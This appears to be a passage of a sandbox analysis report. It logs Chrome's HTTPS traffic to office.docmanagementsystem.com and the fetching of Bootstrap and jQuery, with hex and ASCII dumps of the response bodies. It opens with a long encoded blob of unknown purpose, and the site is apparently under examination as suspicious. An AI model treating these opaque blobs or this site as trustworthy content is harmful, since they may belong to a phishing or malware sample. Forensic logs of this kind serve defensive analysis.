,'NB/QD`DJ<B7[_C\|7OP&=}nGk=\|jF1UD>lM','#G^u.@4!@i(Q24gy]kjy\|(87`DNlM','WknQWcLDOPKj`]QE;bzl.ky2{`?{bR(En]pvF?1}oCk','rrhu,8S%%i/Dd2>=VTjp.C5eFwsl&7%$#CN','kx^u#?<75Pbt"B1^5s3(?}Z`3q%e?sz;?PgS[0`>?3TFz','S;$j51;%5r','kbWjMDsR<PHTM','0kOjmb?S[n=2MU%as`u3Sbh
2025-01-30 18:26:42 UTC	1369	IN	Data Raw: 32 31 31 30 0d 0a 59 64 75 6d 79 4a 34 73 4c 23 6b 24 77 6e 52 43 3b 25 78 23 6c 4c 46 49 25 4f 60 58 49 24 66 61 3d 55 68 43 49 3b 64 61 61 36 62 5f 3d 42 48 60 59 36 4f 5e 28 64 50 76 44 5a 51 49 78 34 73 3a 54 63 6c 5e 67 44 5b 52 4a 57 50 65 7d 4d 3f 35 3f 48 47 33 65 33 60 38 77 79 74 23 6a 4b 52 28 52 6d 61 4d 76 3e 64 62 78 39 72 4c 73 3a 45 3b 45 3a 5f 7b 2c 52 75 6f 4c 5a 69 77 30 5e 39 78 57 2e 73 60 2c 7e 63 7e 25 6d 50 52 38 3b 52 29 6d 60 56 5a 68 58 46 46 38 5d 57 59 4f 79 47 4a 52 42 61 34 5a 26 28 62 78 39 50 6d 73 72 76 56 79 7d 47 3e 6c 66 30 65 44 35 50 22 4b 7e 3c 41 2a 26 6c 52 6c 70 7b 65 4c 43 69 75 37 5a 55 52 3e 5e 33 28 48 48 78 57 6e 32 5f 7b 4b 4d 64 4a 52 64 62 7b 70 42 62 5f 32 54 2a 2a 32 5b 42 56 79 34 40 59 28 77 28 54 51 Data Ascii: 2110YdumyJ4sL#k$wnRC;%x#lLFI%O`XI$fa=UhCI;daa6b_=BH`Y6O^(dPvDZQIx4s:Tcl^gD[RJWPe}M?5?HG3e3`8wyt#jKR(RmaMv>dbx9rLs:E;E:_{,RuoLZiw0^9xW.s`,~c~%mPR8;R)m`VZhXFF8]WYOyGJRBa4Z&(bx9PmsrvVy}G>lf0eD5P"K~<A&lRlp{eLCiu7ZUR>^3(HHxWn2_{KMdJRdb{pBb_2T*2[BVy4@Y(w(TQ
2025-01-30 18:26:42 UTC	1369	IN	Data Raw: 50 53 2c 60 34 46 24 5f 59 4f 3d 39 33 4f 56 4f 56 33 26 28 37 41 26 6b 4e 38 28 76 6c 57 4e 50 3b 4a 33 25 34 77 73 70 4e 4a 74 47 76 59 21 6c 55 31 4f 23 54 2c 62 22 38 37 28 73 24 3f 46 5f 67 48 25 78 34 77 79 57 28 60 4b 31 4a 52 34 54 55 33 5e 64 3d 3e 36 62 36 62 37 45 62 3b 7b 75 65 28 52 61 42 52 5a 69 70 5b 4a 24 67 45 30 24 52 38 29 63 42 7d 3b 5d 6f 55 38 45 6a 3f 22 38 50 3d 74 62 2e 2a 2a 57 59 4f 25 47 4a 52 26 54 73 5a 39 48 77 46 72 62 79 3d 50 76 51 52 52 68 38 51 4c 6b 3c 65 63 51 75 4b 73 34 3f 57 3b 68 45 67 6d 3c 42 7d 42 42 76 77 43 4b 7c 3e 62 5f 31 76 6a 78 26 25 76 5f 5f 76 45 52 30 4f 6b 43 78 30 5e 64 56 4d 63 42 75 52 26 37 66 47 64 3d 5d 3d 39 3f 4b 32 6a 42 2f 22 6d 34 49 24 4b 6c 5b 75 46 5b 4c 77 6c 30 7b 31 74 46 37 47 5b Data Ascii: PS,`4F$_YO=93OVOV3&(7A&kN8(vlWNP;J3%4wspNJtGvY!lU1O#T,b"87(s$?F_gH%x4wyW(`K1JR4TU3^d=>6b6b7Eb;{ue(RaBRZip[J$gE0$R8)cB};]oU8Ej?"8P=tb.**WYO%GJR&TsZ9HwFrby=PvQRRh8QLk<ecQuKs4?W;hEgm<B}BBvwCK\|>b_1vjx&%v__vER0OkCx0^dVMcBuR&7fGd=]=9?K2jB/"m4I$Kl[uF[Lwl0{1tF7G[
2025-01-30 18:26:42 UTC	1369	IN	Data Raw: 53 62 45 56 2a 7b 5f 59 28 48 25 42 4c 58 71 41 30 6b 50 69 45 33 70 62 30 5e 4a 7e 25 4b 77 4a 31 35 5b 59 3e 31 70 4a 66 21 46 6d 3f 79 7c 5f 76 34 4e 7c 37 70 41 66 30 72 62 36 79 34 72 57 73 3a 45 3b 45 66 6f 2b 65 34 6b 60 38 43 5d 24 46 65 45 7c 37 44 24 32 6c 32 28 41 4a 6f 56 2b 72 62 52 70 45 43 47 31 33 59 46 30 59 77 57 7b 4b 21 52 61 3d 5a 62 5a 3d 72 62 50 57 34 72 51 5f 23 37 3b 45 3c 56 3e 6c 66 30 41 6b 6a 42 56 4b 7e 3c 50 3f 4b 6c 60 2c 50 4f 41 4a 43 2a 4a 31 6e 31 24 3f 6b 5f 55 33 6e 38 60 41 2f 71 7b 4b 6f 34 58 4f 54 4f 31 33 57 48 6e 25 6f 2a 54 65 67 76 61 52 6e 55 6b 51 70 30 62 6c 35 42 46 4b 5f 73 55 76 48 68 6d 79 41 23 31 3e 7a 50 5b 31 46 32 50 3b 44 78 59 75 39 46 4f 72 66 71 28 6a 28 34 68 3d 6a 61 46 30 22 6e 3e 4d 41 62 Data Ascii: SbEV{_Y(H%BLXqA0kPiE3pb0^J~%KwJ15[Y>1pJf!Fm?y\|_v4N\|7pAf0rb6y4rWs:E;Efo+e4k`8C]$FeE\|7D$2l2(AJoV+rbRpECG13YF0YwW{K!Ra=ZbZ=rbPW4rQ_#7;E<V>lf0AkjBVK~<P?Kl`,POAJCJ1n1$?k_U3n8`A/q{Ko4XOTO13WHn%o*TegvaRnUkQp0bl5BFK_sUvHhmyA#1>zP[1F2P;DxYu9FOrfq(j(4h=jaF0"n>MAb
2025-01-30 18:26:42 UTC	1369	IN	Data Raw: 53 3c 66 4c 3e 5d 68 37 29 37 4f 3f 4b 5f 31 76 6b 60 34 4d 77 57 39 6a 67 5e 3e 3d 68 55 3d 33 35 21 3e 4d 41 62 56 75 73 76 66 3d 7a 53 3b 4a 6e 25 58 51 4f 50 3f 30 7c 50 3d 3b 4b 6c 72 5a 2a 3c 7e 61 6c 49 78 37 74 46 6c 45 22 38 42 6c 6f 38 28 72 3d 74 59 76 42 4e 6d 4f 68 73 44 3d 57 48 67 32 74 42 48 3d 28 76 71 2a 52 68 29 75 4b 3c 74 6e 6a 42 79 6e 26 73 48 76 3b 24 35 38 42 34 41 4a 76 56 37 55 37 5d 3b 5e 3f 24 5a 48 3a 46 41 37 41 7c 5f 76 42 5d 52 4f 51 41 59 35 28 48 5e 65 3e 62 2f 75 4e 64 41 41 2f 40 5d 3d 71 25 6d 51 4f 50 75 2f 65 45 3f 57 4e 60 52 38 3a 63 73 4c 50 22 4b 37 51 42 7e 3f 22 78 31 38 33 60 2c 2c 5d 57 3c 6a 30 4b 30 4f 32 42 44 3d 26 28 55 2c 77 62 46 50 41 6d 45 52 7c 59 59 28 75 6b 76 44 35 50 68 2f 5f 73 78 3d 26 6c 4f Data Ascii: S<fL>]h7)7O?K_1vk`4MwW9jg^>=hU=35!>MAbVusvf=zS;Jn%XQOP?0\|P=;KlrZ<~alIx7tFlE"8Blo8(r=tYvBNmOhsD=WHg2tBH=(vqRh)uK<tnjByn&sHv;$58B4AJvV7U7];^?$ZH:FA7A\|_vB]ROQAY5(H^e>b/uNdAA/@]=q%mQOPu/eE?WN`R8:csLP"K7QB~?"x183`,,]W<j0K0O2BD=&(U,wbFPAmER\|YY(ukvD5Ph/_sx=&lO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50074	104.18.11.207	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:42 UTC	705	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://office.docmanagementsystem.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	965	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 2ec89c5d30285ad45cb068c144686fc0 CDN-Cache: HIT CF-Cache-Status: HIT Age: 74580 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 90a3830b3b208c6b-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:43 UTC	404	IN	Data Raw: 37 62 65 65 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bee/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 Data Ascii: ne(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.define
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 Data Ascii: unction(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isEle
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 Data Ascii: e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._dest
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e Data Ascii: p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d Data Ascii: ouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 Data Ascii: ),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c Data Ascii: !/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f Data Ascii: (d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).remo
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 Data Ascii: ATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50071	151.101.2.137	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:42 UTC	686	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://office.docmanagementsystem.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2779007 Date: Thu, 30 Jan 2025 18:26:43 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740060-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1738261603.048711,VS0,VE1 Vary: Accept-Encoding
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-30 18:26:43 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
